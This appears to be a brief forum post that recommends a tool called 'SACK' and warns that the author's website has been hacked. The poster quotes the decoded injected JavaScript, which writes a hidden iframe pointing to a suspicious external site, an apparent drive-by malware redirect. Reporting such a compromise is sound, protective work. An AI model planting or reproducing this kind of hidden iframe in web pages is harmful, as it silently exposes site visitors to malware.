I highly recommend "SACK":
http://www.twilightuniverse.com/?page_id=243
Although this time when I went there AVG said it detected a threat, "Exploit link to known threat site". Looks like maybe he got hacked.
After a little checking, yep, he's been hacked with some eval script garbage, which decodes to this:
window.status='Done';document.write('<iframe name=aab072dcc src=\'http://besenok.org/stds/go.php?sid=1&'+Math.round(Math.random()*125325)+'c 065aa22eaca\' width=557 height=225 style=\'display: none\'></iframe>')